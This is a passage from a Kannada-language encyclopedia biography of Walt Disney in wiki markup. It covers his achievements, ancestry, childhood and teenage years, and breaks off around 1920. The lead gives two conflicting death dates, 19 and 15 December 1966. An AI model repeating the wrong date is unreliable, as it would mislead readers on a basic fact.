'''ಡಿಸ್ನಿ''' ; (೫ ಡಿಸೆಂಬರ್‌ ೧೯೦೧ – ೧೯ ಡಿಸೆಂಬರ್‌ ೧೯೬೬) ಇವರು ಅಮೆರಿಕಾದ [[ಚಲನಚಿತ್ರ ನಿರ್ಮಾಪಕ]], [[ನಿರ್ದೇಶಕ]], [[ಚಿತ್ರಕಥಾ ಲೇಖಕ]], [[ಕಂಠದಾನ ನಟ-ಕಲಾವಿದ]] , [[ಆನಿಮೇಟರ್‌]], [[ವಾಣಿಜ್ಯೋದ್ಯಮಿ]], [[ಮನೋರಂಜನೆಗಾರ]] , ವಿದೂಷಕ, ಅಂತಾರಾಷ್ಟ್ರೀಯ ಖ್ಯಾತಿಯ [[ಗಣ್ಯವ್ಯಕ್ತಿ]] ಹಾಗೂ [[ಲೋಕೋಪಕಾರಿ]] ಯಾಗಿದ್ದರು. ಇಪ್ಪತ್ತನೆಯ ಶತಮಾನದಲ್ಲಿ ಮನೋರಂಜನಾ ಕ್ಷೇತ್ರದಲ್ಲಿ ಭಾರೀ ಹೆಸರು ಮಾಡಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಖ್ಯಾತರಾಗಿದ್ದಾರೆ. ತಮ್ಮ ಸಹೋದರರ [[ರಾಯ್‌ ಒ. ಡಿಸ್ನಿ]]ರೊಂದಿಗೆ ಸ್ಥಾಪಿಸಿದ [[ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಪ್ರೊಡಕ್ಷನ್ಸ್‌]] ಮೂಲಕ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವಿಶ್ವದಲ್ಲಿಯೇ ಅತ್ಯುತ್ತಮ [[ಚಲನಚಿತ್ರ]] ನಿರ್ಮಾಪಕರಲ್ಲಿ ಒಬ್ಬರೆಂಬ ಖ್ಯಾತಿ ಗಳಿಸಿದರು. ಇವರು ಸಹಭಾಗಿತ್ವದಲ್ಲಿ-ಸಂಸ್ಥಾಪಿಸಿದ [[ನಿಗಮ]]ವು ಇಂದು ದಿ [[ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಕಂಪನಿ]] ಎಂದು ಚಿರಪರಿಚಿತವಾಗಿದೆ. ಇದು ಈಗ ವಾರ್ಷಿಕ ಅಂದಾಜು $ ೩೫ ಬಿಲಿಯನ್‌ ಆದಾಯ ಗಳಿಸುತ್ತಿದೆ. ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವಿಶಿಷ್ಟ ಮತ್ತು ಹೆಸರಾಂತ ಚಲನಚಿತ್ರ ನಿರ್ಮಾಪಕ, ಜನಪ್ರಿಯ ಮನೋರಂಜನೆಗಾರ, ವಿದೂಷಕ, [[ಅನಿಮೇಷನ್‌ ಚಿತ್ರ]]ಗಳಲ್ಲಿ ಹೊಸತನ ತಂದುದಲ್ಲದೇ [[ಥೀಮ್‌ ಪಾರ್ಕ್‌]] ವಿನ್ಯಾಸಕ್ಕಾಗಿ ಹೆಸರುವಾಸಿಯಾಗಿದ್ದರು. ಅವರು ಮತ್ತು ಅವರ ಸಿಬ್ಬಂದಿ, [[ಮಿಕ್ಕಿ ಮೌಸ್‌]]ನಂತಹ ವಿಶ್ವದಲ್ಲಿಯೇ ಹಲವು ಅತಿ ಜನಪ್ರಿಯ ಕಾಲ್ಪನಿಕ ಪಾತ್ರಗಳನ್ನು ಸೃಷ್ಟಿಸಿದರು. [[ಮಿಕ್ಕಿ ಮೌಸ್‌]] ಪಾತ್ರಕ್ಕೆ ಮೂಲತಃ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರೇ ಮೂಲಧ್ವನಿ ನೀಡಿ ಕಂಠದಾನ ಮಾಡಿದ್ದರು. ಅವರು ಐವತ್ತೊಂಬತ್ತು [[ಅಕ್ಯಾಡಮಿ ಅವಾರ್ಡ್‌]] ನಾಮನಿರ್ದೇಶನ ಹಾಗೂ ಇಪ್ಪತ್ತಾರು ಆಸ್ಕರ್‌ ಪ್ರಶಸ್ತಿಗಳನ್ನು ಗಳಿಸಿಕೊಂಡರು. ಒಂದು ವರ್ಷದಲ್ಲೇ ನಾಲ್ಕು ಆಸ್ಕರ್‌ ಪ್ರಶಸ್ತಿ <ref name="academyaward">{{cite web|title=Walt Disney Academy awards | url=http://awardsdatabase.oscars.org/index.jsp | publisher=[[Academy of Motion Picture Arts and Sciences]]|accessdate=2008-05-21 }}</ref> ಗಳಿಸಿದ್ದು ದಾಖಲೆಯಾಗಿದೆ. ಯಾವುದೇ ವ್ಯಕ್ತಿಗಾಗಿ ಅತಿಹೆಚ್ಚು ಪ್ರಶಸ್ತಿಗಳು ಮತ್ತು ನಾಮನಿರ್ದೇಶನಗಳನ್ನು ಸಂಪಾದಿಸಿದ ಅಮೋಘ ಸಾಧನೆ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರದು. ಅವರು ಏಳು [[ಎಮ್ಮಿ ಅವಾರ್ಡ್‌]]ಗಳನ್ನು ಸಹ ಗಳಿಸಿದರು. [[ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]], [[ಜಪಾನ್‌]], [[ಫ್ರಾನ್ಸ್‌]] ಮತ್ತು [[ಚೀನಾ]] ದೇಶಗಳಲ್ಲಿರುವ [[ಡಿಸ್ನಿಲೆಂಡ್‌]] ಮತ್ತು [[ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವರ್ಲ್ಡ್‌ ರೆಸಾರ್ಟ್‌]] ಥೀಮ್‌ ಪಾರ್ಕ್‌,ವಿಹಾರ ತಾಣಗಳಿಗೆ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಹೆಸರು ಸಮಾನಾರ್ಥಕವಾಗಿದೆ. [[ಫ್ಲಾರಿಡಾ]]ದಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವರ್ಲ್ಡ್‌ ರೆಸಾರ್ಟ್‌ ಆರಂಭವಾಗುವ ಕೆಲ ವರ್ಷಗಳ ಮುನ್ನ, [[ಶ್ವಾಸಕೋಶದ ಕ್ಯಾನ್ಸರ್‌]] ನಿಂದ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ೧೫ ಡಿಸೆಂಬರ್‌ ೧೯೬೬ರಂದು ವಿಧಿವಶರಾದರು. == 1901–1937: ಆರಂಭಿಕ ಜೀವನ == === ಬಾಲ್ಯ === ವಾಲ್ಟರ್‌ ಎಲಿಯಾಸ್‌ ಡಿಸ್ನಿ ೫ ಡಿಸೆಂಬರ್‌ ೧೯೦೧ರಂದು [[ಶಿಕಾಗೊ]] ನಗರದ [[ಹರ್ಮೊಸಾ]] [[ಸಮುದಾಯ ವಲಯ]]ದ ೨೧೫೬ ಎನ್‌ ಟ್ರಿಪ್‌ ಅವೆನ್ಯೂದಲ್ಲಿ ಜನಿಸಿದರು.<ref>{{Cite web |url=http://www.suntimes.com/news/metro/1789742,CST-NWS-disney25.article |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-03-09 |archive-date=2009-12-08 |archive-url=https://web.archive.org/web/20091208084208/http://www.suntimes.com/news/metro/1789742,CST-NWS-disney25.article |url-status=dead }}</ref><ref name="disneybio">{{cite web|title=Walt Disney biography|url=http://www.justdisney.com/WaltDisney100/biography01.html|publisher=Just Disney|accessdate=2008-05-21|archivedate=2008-06-05|archiveurl=https://web.archive.org/web/20080605151444/http://www.justdisney.com/WaltDisney100/biography01.html}}</ref> ಇವರ ತಂದೆ [[ಎಲಿಯಾಸ್ ಡಿಸ್ನಿ]] [[ಐರಿಷ್‌-ಕೆನಡಿಯನ್‌]] ಸಂಜಾತರಾಗಿದ್ದರು, ಹಾಗೂ, ತಾಯಿ [[ಫ್ಲೊರಾ ಕ್ಯಾಲ್‌ ಡಿಸ್ನಿ]] [[ಜರ್ಮನ್‌-ಅಮೆರಿಕನ್‌]] ಸಂಜಾತೆಯಾಗಿದ್ದರು. ಐರ್ಲೆಂಡ್‌ನ [[ಕೌಂಟಿ ಕಿಲ್ಕೆನಿ]]ಯಲ್ಲಿರುವ [[ಗೋರಾನ್‌]]ನಿಂದ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯ ಪೂರ್ವಜರು ಅಮೆರಿಕಾಗೆ ವಲಸೆ ಹೋಗಿದ್ದರು. ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ಮುತ್ತಜ್ಜ ಅರಂಡೇಲ್‌ ಎಲಿಯಾಸ್‌ ಡಿಸ್ನಿ ೧೮೦೧ರಲ್ಲಿ ಐರ್ಲೆಂಡ್‌ನ ಕಿಲ್ಕೆನಿಯಲ್ಲಿ ಜನಿಸಿದ್ದರು. [[ಫ್ರಾನ್ಸ್‌]] ಮೂಲದವರಾಗಿದ್ದ ಹ್ಯೂಸ್‌ ಮತ್ತು ಅವರ ಪುತ್ರ ರಾಬರ್ಟ್‌ ಡಿ'[[ಇಸಿಗ್ನಿ]]ಯ ವಂಶದವರಾಗಿದ್ದರು. ಇವರಿಬ್ಬರೂ [[1066]]ರಲ್ಲಿ [[ವಿಲಿಯಮ್‌ ದಿ ಕಾಂಕ್ವರರ್‌]] ಜೊತೆ [[ಇಂಗ್ಲೆಂಡ್‌]]ಗೆ ಪ್ರಯಾಣಿಸಿದ್ದರು.<ref>{{cite book|title=Disneyland Paris|publisher=[[Michelin]]|date=2002-08-07|isbn=2060480027|page=38}}</ref> . ಡಿ-ಇಸಿಗ್ನಿ ಎಂಬ ಕೊನೆಯ ಹೆಸರು [[ಆಂಗ್ಲೀಕೃತವಾಗಿ]] ''ಡಿಸ್ನಿ'' ಎಂದಾಯಿತು. ಈ ಕುಟುಂಬವು [[ಲಿಂಕನ್‌ಷೈರ್‌]] ಕೌಂಟಿಯಲ್ಲಿನ [[ಲಿಂಕನ್‌]] ನಗರದ ದಕ್ಷಿಣದಲ್ಲಿರುವ [[ನಾರ್ಟನ್‌ ಡಿಸ್ನಿ]] ಗ್ರಾಮದಲ್ಲಿ ವಾಸ್ತವ್ಯ ಹೂಡಿತು. ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ತಂದೆ [[ಎಲಿಯಾಸ್‌ ಡಿಸ್ನಿ]] ತಮ್ಮ ಔದ್ಯೋಗಿಕ ನೆಲೆ ಕಂಡುಕೊಳ್ಳಲು, ೧೮೭೮ರಲ್ಲಿ ಕೆನಡಾ ದೇಶದ [[ಓಂಟಾರಿಯೊದ ಹ್ಯೂರಾನ್‌ ಕೌಂಟಿ]]ಯಿಂದ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ [[ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ]]ಗೆ ವಲಸೆಹೋದರು. ಅಂತಿಮವಾಗಿ, ಅವರು ತಮ್ಮ ಹೆತ್ತವರೊಂದಿಗೆ ೧೮೮೪ರ ವರೆಗೆ [[ಕನ್ಸಸ್‌ನ ಎಲ್ಲಿಸ್‌]] ಬಳಿ ಕೃಷಿ ಕೆಲಸ ಮಾಡಿಕೊಂಡಿದ್ದರು. [[ಯೂನಿಯನ್‌ ಪೆಸಿಫಿಕ್‌ ರೇಲ್ರೋಡ್‌]] ಸಂಸ್ಥೆಯಲ್ಲಿ ಅವರು ಕೆಲಸ ಮಾಡಿದರು. ೧ ಜನವರಿ ೧೮೮೮ರಂದು [[ಫ್ಲಾರಿಡಾದ ಆಕ್ರಾನ್‌]]ನಲ್ಲಿ [[ಫ್ಲೋರಾ ಕ್ಯಾಲ್‌]]ರನ್ನು ವಿವಾಹವಾದರು. 1890ರಲ್ಲಿ ಕುಟುಂಬವು [[ಇಲಿನಾಯ್ಸಿನಲ್ಲಿರುವ ಶಿಕಾಗೊ]] ನಗರಕ್ಕೆ ಸ್ಥಳಾಂತರಗೊಂಡಿತು.<ref name="gabler7">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 7.</ref> ಇಲ್ಲಿ ಎಲಿಯಾಸ್‌ರ ಸಹೋದರ ರಾಬರ್ಟ್‌ ವಾಸಿಸುತ್ತಿದ್ದರು.<ref name="gabler7"/> ತಮ್ಮ ಆರಂಭಿಕ ಜೀವನದಲ್ಲಿ ರಾಬರ್ಟ್‌ ಅವರು ಎಲಿಯಾಸ್‌ರಿಗೆ ಆರ್ಥಿಕ ನೆರವು ನೀಡುತ್ತಿದ್ದರು.<ref name="gabler7"/> ೧೯೦೬ರಲ್ಲಿ ವಾಲ್ಟ್‌ ನಾಲ್ಕು ವರ್ಷದ ಹುಡುಗನಾಗಿದ್ದಾಗ, ಕುಟುಂಬವು [[ಮಿಸ್ಸೋರಿಯ ಮಾರ್ಸೆಲೀನ್‌]]ನಲ್ಲಿರುವ ಒಂದು ತೋಟದ ಮನೆಗೆ ಸ್ಥಳಾಂತರಗೊಂಡಿತು.<ref name="gabler4">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 9-10.</ref> ಅವರ ಸಹೋದರ ರಾಯ್‌ ಆಗ ತಾನೇ ಕೃಷಿ ಜಮೀನನ್ನು ಕೊಂಡುಕೊಂಡಿದ್ದರು.<ref name="gabler4"/> ಮಾರ್ಸೆಲೀನ್‌ನಲ್ಲಿರುವಾಗ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಚಿತ್ರಕಲೆಯತ್ತ ತಮ್ಮ ಒಲವು ಬೆಳೆಸಿಕೊಂಡರು.<ref name="gabler15">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 15.</ref> ಅವರ ನೆರೆಹೊರೆಯವರಾಗಿದ್ದ 'ಡಾಕ್‌' ಷೆರ್ವುಡ್‌ ಎಂಬ ನಿವೃತ್ತ ವೈದ್ಯರು, 'ರುಪರ್ಟ್‌' ಎಂಬ ತಮ್ಮ ಕುದುರೆಯ ಚಿತ್ರಗಳನ್ನು ರಚಿಸಲು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರಿಗೆ ಹಣ ನೀಡುತ್ತಿದ್ದರು.<ref name="gabler15"/> (ಷೆರ್ವುಡ್‌ ಅಮೆರಿಕದ ಖ್ಯಾತ ನಾಟಕಕಾರ) ಮಾರ್ಸೆಲೀನ್‌ ಮೂಲಕ [[ಅಟ್ಚಿಸನ್‌, ಟೊಪೆಕಾ ಮತ್ತು ಸ್ಯಾಂಟಾ ಫೀ ರೇಲ್ವೆ]] ಹಾದುಹೋಗುವುದನ್ನು ಗಮನಿಸುತ್ತಿದ್ದ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರು ರೈಲುಗಾಡಿಗಳತ್ತ ಸಹ ತಮ್ಮ ಒಲವು ಬೆಳೆಸಿಕೊಂಡರು. ಬರುವ ರೈಲನ್ನು ಪರೀಕ್ಷಿಸಲು ಅವರು ರೈಲು ಹಳಿಯ ಮೇಲೆ ತಮ್ಮ ಕಿವಿಯನ್ನಿಟ್ಟು ಸದ್ದನ್ನು ಆಲಿಸುತ್ತಿದ್ದರು.<ref name="disneybio"/> ನಂತರ ರೈಲು ಚಾಲಕ, ತಮ್ಮ 'ಚಿಕ್ಕಪ್ಪ' ಇಂಜಿನಿಯರ್‌ ಮೈಕಲ್‌ ಮಾರ್ಟಿನ್‌ರನ್ನು ಭೇಟಿಯಾಗುವ ಕಾತುರದಲ್ಲಿರುತ್ತಿದ್ದರು. ಡಿಸ್ನಿ ಕುಟುಂಬವು ನಾಲ್ಕು ವರ್ಷಗಳ ಕಾಲ ಮಾರ್ಸೆಲೀನ್‌ನಲ್ಲಿಯೇ ಉಳಿದುಕೊಂಡ <ref>{{cite web|accessdate=2008-05-21|url=http://www.waltdisneymuseum.org/|title=Walt Disney Hometown Museum|publisher=Walt Disney Museum}}</ref> ನಂತರ ೧೯೧೧ರಲ್ಲಿ [[ಕನ್ಸಾಸ್‌ ಸಿಟಿ]]ಗೆ ಸ್ಥಳಾಂತರಗೊಂಡಿತು.<ref name="gabler19">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 18.</ref> ವಾಲ್ಟ್‌ ಮತ್ತು ತಮ್ಮ ಕಿರಿಯ ಸಹೋದರಿ ರೂತ್‌ ಅಲ್ಲಿ ಬೆಂಟನ್‌ ಗ್ರ್ಯಾಮರ್‌ ಸ್ಕೂಲ್‌ನಲ್ಲಿ ವ್ಯಾಸಂಗ ಮಾಡಿದರು. ಅಲ್ಲಿ ವಾಲ್ಟ್‌ ; ವಾಲ್ಟರ್‌ ಫೀಫರ್‌ ಅವರನ್ನು ಭೇಟಿಯಾದರು. ಫೀಫರ್‌ ಕುಟುಂಬವು ರಂಗಮಂದಿರ ಚಟುವಟಿಕೆಗಳಲ್ಲಿ ಆಸಕ್ತವಾಗಿತ್ತು. ಈ ಕುಟುಂಬವು ಗೀತ-ನಾಟಕಗಳು ಮತ್ತು ಚಲನಚಿತ್ರಗಳ ಪ್ರಪಂಚಕ್ಕೆ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರನ್ನು ಪರಿಚಯಿಸಿತು. ಅದಾದ ನಂತರ, ವಾಲ್ಟ್‌ ತಮ್ಮ ಹೆಚ್ಚು ಸಮಯವನ್ನು ಮನೆಯ ಬದಲಿಗೆ ಫೀಫರ್ ಕುಟುಂಬದೊಡನೆಯೇ ಕಳೆಯುತ್ತಿದ್ದರು.<ref>{{harvnb|Thomas|1994|pp=33–41}}</ref> ಈ ಸಮಯ, ಬಾಲಕ ವಾಲ್ಟ್ ಡಿಸ್ನಿ [[ಕನ್ಸಸ್‌ ಸಿಟಿ ಆರ್ಟ್‌ ಇನ್‌ಸ್ಟಿಟ್ಯೂಟ್‌]]ನಲ್ಲಿ ಪ್ರತಿ ಶನಿವಾರದ ಕಲಾಭ್ಯಾಸದ ತರಗತಿಗಳಿಗೆ ಹಾಜರಾಗುತ್ತಿದ್ದನು.<ref>[http://kchistory.org/cdm4/item_viewer.php?CISOROOT=/Biographies&amp;CISOPTR=31&amp;CISOBOX=1&amp;REC=2 ಚಲನಚಿತ್ರ ನಿರ್ಮಾಪಕ ವಾಲ್ಟ್ ಡಿಸ್ನಿಯವರ ಜೀವನಚರಿತ್ರೆ - kchistory.org - 14 ಸೆಪ್ಟೆಂಬರ್‌ 2009ರಂದು ಪುನರ್ಪಡೆದದ್ದು]</ref> === ಹದಿಹರೆಯದ ವರ್ಷಗಳು === left|thumb|ಮೊದಲನೆಯ ವಿಶ್ವಸಮರದ ಸಂದರ್ಭದಲ್ಲಿ ಆಂಬುಲೆನ್ಸ್‌ ಚಾಲಕರಾಗಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ. 1917ರಲ್ಲಿ, ಎಲಿಯಾಸ್‌ ಶಿಕಾಗೊದಲ್ಲಿರುವ ಒ-ಝೆಲ್‌ ಜೆಲ್ಲಿ ಕಾರ್ಖಾನೆಯ ಉದ್ಯಮ ಷೇರ್‌ಗಳನ್ನು ಪಡೆದುಕೊಂಡರು. ಇದರ ಫಲವಾಗಿ, ಡಿಸ್ನಿ ಕುಟುಂಬವು [[ಶಿಕಾಗೊ]]ಗೆ ಮರಳಿತು.<ref name="gabler30">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 30.</ref> ಅಂತಹ ಕುಸಿತದ ಕಾಲದಲ್ಲೂ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ತಮ್ಮ ಮೊದಲ ವರ್ಷದ ವ್ಯಾಸಂಗವನ್ನು [[ಮೆಕಿನ್ಲೇ ಪ್ರೌಢಶಾಲೆ]]ಯಲ್ಲಿ ಆರಂಭಿಸಿ, [[ಶಿಕಾಗೊ ಆರ್ಟ್‌ ಇನ್‌ಸ್ಟಿಟ್ಯೂಟ್‌]]ನ ರಾತ್ರಿಯ ವೇಳೆಯ ತರಗತಿಗಳಿಗೆ ಹಾಜರಾದರು.<ref>{{harvnb|Thomas|1994|pp= 42–43}}</ref> ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ, ಶಾಲೆಯ ವಾರ್ತಾಪತ್ರಿಕೆಗೆ ವ್ಯಂಗ್ಯಚಿತ್ರಕಾರರಾದರು. ಅವರ ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು ದೇಶಭಕ್ತಿ ಸ್ಪುರಿಸುವಲ್ಲಿ ಪ್ರಾಧಾನ್ಯತೆ ಪಡೆದು, [[ಮೊದಲನೆಯ ವಿಶ್ವಸಮರ]]ದ ಮೇಲೆ ಕೇಂದ್ರೀಕೃತವಾಗಿದ್ದವು. ತಮ್ಮ ಹದಿನಾರನೆಯ ವಯಸ್ಸಿನಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ [[ಭೂಸೇನೆ]]ಗೆ ಸೇರಲು ಪ್ರೌಢಶಾಲಾ ವ್ಯಾಸಂಗ ಸ್ಥಗಿತಗೊಳಿಸಿದರು. ಆದರೆ ವಯೋಮಿತಿಗಿಂತಲೂ ಅವರದ್ದು ಕಡಿಮೆ ವಯಸ್ಸಿದ್ದ ಕಾರಣ, ಭೂಸೇನೆಯು ವಾಲ್ಟ್‌ರ ಅರ್ಜಿಯನ್ನು ತಿರಸ್ಕರಿಸಿತು.<ref name="gabler36">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 36.</ref> ಭೂಸೇನೆಯಿಂದ ತಿರಸ್ಕೃತಗೊಂಡ ನಂತರ ವಾಲ್ಟ್ ಮತ್ತು ತಮ್ಮ ಮಿತ್ರರಲ್ಲೊಬ್ಬರೊಡಗೂಡಿ [[ರೆಡ್‌ ಕ್ರಾಸ್‌]] ಸಂಸ್ಥೆಗೆ ಸೇರಲು ನಿರ್ಧರಿಸಿದರು.<ref name="gabler37">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 37.</ref> ಅವರು ರೆಡ್‌ ಕ್ರಾಸ್‌ ಸೇರಿದ ಕೂಡಲೇ, ಒಂದು ವರ್ಷದ ಕಾಲ ಅವರನ್ನು ಫ್ರಾನ್ಸ್‌ಗೆ ಕಳುಹಿಸಲಾಯಿತು. 11 ನವೆಂಬರ್‌ 1918ರಂದು ಕದನ ವಿರಾಮಕ್ಕೆ ಸಹಿ ಹಾಕಿದ ನಂತರ ವಾಲ್ಟ್‌ ಆಂಬುಲೆನ್ಸ್‌ ಚಾಲಕರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದರು.<ref name="gabler380">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 38.</ref> ಶಿಕಾಗೊ ಒ-ಝೆಲ್‌ ಉದ್ದಿಮೆಯ ಹೊರಗೆ ನೌಕರಿಯನ್ನು ಅರಸಿ ಹೊರಟ ವಾಲ್ಟ್‌,<ref name="gabler42">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 42.</ref> 1919ರಲ್ಲಿ ಮನೆ ಬಿಟ್ಟು ತಮ್ಮ ಕಲಾ ವೃತ್ತಿ ಆರಂಭಿಸಲು ಕನ್ಸಸ್‌ ಸಿಟಿಗೆ ಸ್ಥಳಾಂತರವಾದರು.<ref name="gabler44">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 44.</ref> ಮೊದಲಿಗೆ ಒಬ್ಬ ನಟ ಅಥವಾ ಪತ್ರಿಕಾ ಕಲಾವಿದನಾಗಬಯಸಿದ ವಾಲ್ಟ್‌, ಪತ್ರಿಕಾರಂಗದಲ್ಲಿ ರಾಜಕೀಯ ವಿಡಂಬನಾಚಿತ್ರಗಳು (ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು) ಮತ್ತು ಸರಣಿ ವ್ಯಂಗ್ಯಚಿತ್ರಗಳನ್ನು ರಚಿಸಿ ತಮ್ಮ ನೆಲೆಯನ್ನು ಕಂಡುಕೊಳ್ಳಲು ನಿರ್ಧರಿಸಿದರು. ಆದರೆ, ಯಾರೂ ಸಹ ವಾಲ್ಟ್‌ರನ್ನು ಒಬ್ಬ ಕಲಾವಿದರಾಗಿ ಅಥವಾ ಆಂಬುಲೆನ್ಸ್‌ ಚಾಲಕರಾಗಿ ಕೆಲಸಕ್ಕೆ ನೇಮಿಸಿಕೊಳ್ಳಲು ನಿರಾಕರಿಸಿದಾಗ, ಅದೇ ಬಡಾವಣೆಯ ಬ್ಯಾಂಕ್‌ ನೌಕರನಾಗಿದ್ದ ಸಹೋದರ [[ರಾಯ್]]‌, ತಮ್ಮ ಸಹೋದ್ಯೋಗಿಯೊಬ್ಬರ ಮೂಲಕ ವಾಲ್ಟ್‌ರಿಗೆ ಪೆಸ್ಮೆನ್‌-ರೂಬಿನ್‌ ಆರ್ಟ್‌ ಸ್ಟೂಡಿಯೊದಲ್ಲಿ ತಾತ್ಕಾಲಿಕ ನೌಕರಿ ಕೊಡಿಸಿದರು.<ref name="gabler44"/> ಪೆಸ್ಮೆನ್‌-ರೂಬಿನ್‌ನಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಪತ್ರಿಕೆಗಳು, ನಿಯತಕಾಲಿಕೆಗಳು ಮತ್ತು ಚಲನಚಿತ್ರಮಂದಿರಗಳಿಗಾಗಿ ಜಾಹೀರಾತುಗಳನ್ನು ಸೃಷ್ಟಿಸಿದರು.<ref name="gabler45">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 45.</ref> ಇಲ್ಲಿ ಅವರು [[ಯುಬಿ ಐವರ್ಕ್ಸ್‌]] ಎಂಬೊಬ್ಬ ವ್ಯಂಗ್ಯಚಿತ್ರಕಾರರನ್ನು ಭೇಟಿಯಾದರು.<ref name="gabler46">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 46.</ref> ಪೆಸ್ಮೆನ್‌-ರುಬಿನ್‌ ಆರ್ಟ್‌ ಸ್ಟುಡಿಯೊದಲ್ಲಿ ತಮ್ಮ ಕಾಲಾವಧಿ ಮುಗಿಸಿ ಹೊರಬಂದಾಗ ಇಬ್ಬರಿಗೂ ನೌಕರಿಯಿರಲಿಲ್ಲ. ಇಬ್ಬರೂ ತಮ್ಮದೇ ವಾಣಿಜ್ಯ ಉದ್ದೇಶದ ಸಂಸ್ಥೆ ಆರಂಭಿಸಲು ನಿರ್ಧರಿಸಿದರು.<ref name="gabler48">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 48.</ref> ಜನವರಿ 1920ರಲ್ಲಿ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಮತ್ತು ಯುಬಿ ಐವರ್ಕ್ಸ್‌ ಸೇರಿ 'ಐವರ್ಕ್ಸ್‌-ಡಿಸ್ನಿ ಕಮರ್ಷಿಯಲ್‌ ಆರ್ಟಿಸ್ಟ್ಸ್‌' ಎಂಬ 